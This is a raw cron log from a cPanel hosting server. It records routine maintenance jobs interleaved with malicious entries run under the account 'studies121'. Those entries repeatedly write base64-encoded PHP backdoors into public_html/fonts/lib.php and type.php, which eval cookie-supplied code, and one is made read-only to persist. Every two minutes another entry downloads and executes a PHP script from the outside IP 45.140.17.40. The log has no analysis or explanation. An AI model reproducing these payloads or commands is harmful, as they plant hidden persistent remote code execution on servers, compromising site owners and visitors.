Sep  1 08:25:01 ip-184-168-122-23 CROND[19920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:25:01 ip-184-168-122-23 CROND[19921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:25:01 ip-184-168-122-23 CROND[19922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:25:01 ip-184-168-122-23 CROND[19923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:25:01 ip-184-168-122-23 CROND[19925]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 08:25:01 ip-184-168-122-23 CROND[19924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:26:01 ip-184-168-122-23 CROND[20042]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  1 08:26:01 ip-184-168-122-23 CROND[20044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:26:01 ip-184-168-122-23 CROND[20045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:26:01 ip-184-168-122-23 CROND[20046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:26:01 ip-184-168-122-23 CROND[20049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:26:01 ip-184-168-122-23 CROND[20052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  1 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  1 08:27:01 ip-184-168-122-23 CROND[20220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:27:01 ip-184-168-122-23 CROND[20222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:27:01 ip-184-168-122-23 CROND[20223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:27:01 ip-184-168-122-23 CROND[20224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:28:01 ip-184-168-122-23 CROND[20407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:28:01 ip-184-168-122-23 CROND[20409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:28:01 ip-184-168-122-23 CROND[20408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:28:01 ip-184-168-122-23 CROND[20412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:28:01 ip-184-168-122-23 CROND[20414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:29:01 ip-184-168-122-23 CROND[20551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:29:01 ip-184-168-122-23 CROND[20555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:29:01 ip-184-168-122-23 CROND[20557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:29:01 ip-184-168-122-23 CROND[20556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:30:01 ip-184-168-122-23 CROND[20673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:30:01 ip-184-168-122-23 CROND[20680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20687]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:30:01 ip-184-168-122-23 CROND[20686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:31:01 ip-184-168-122-23 CROND[20850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:31:01 ip-184-168-122-23 CROND[20852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:31:01 ip-184-168-122-23 CROND[20854]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:31:01 ip-184-168-122-23 CROND[20853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:31:01 ip-184-168-122-23 CROND[20855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:32:01 ip-184-168-122-23 CROND[20951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:32:01 ip-184-168-122-23 CROND[20953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:32:01 ip-184-168-122-23 CROND[20955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:32:01 ip-184-168-122-23 CROND[20956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:32:01 ip-184-168-122-23 CROND[20954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:33:02 ip-184-168-122-23 CROND[21143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:33:02 ip-184-168-122-23 CROND[21144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:33:02 ip-184-168-122-23 CROND[21147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:33:02 ip-184-168-122-23 CROND[21149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:34:01 ip-184-168-122-23 CROND[21298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:34:01 ip-184-168-122-23 CROND[21299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:34:01 ip-184-168-122-23 CROND[21301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:34:01 ip-184-168-122-23 CROND[21302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:34:01 ip-184-168-122-23 CROND[21305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21463]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:35:01 ip-184-168-122-23 CROND[21468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21467]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:35:01 ip-184-168-122-23 CROND[21471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:36:01 ip-184-168-122-23 CROND[21640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:36:01 ip-184-168-122-23 CROND[21639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:36:01 ip-184-168-122-23 CROND[21643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:36:01 ip-184-168-122-23 CROND[21645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:36:01 ip-184-168-122-23 CROND[21644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
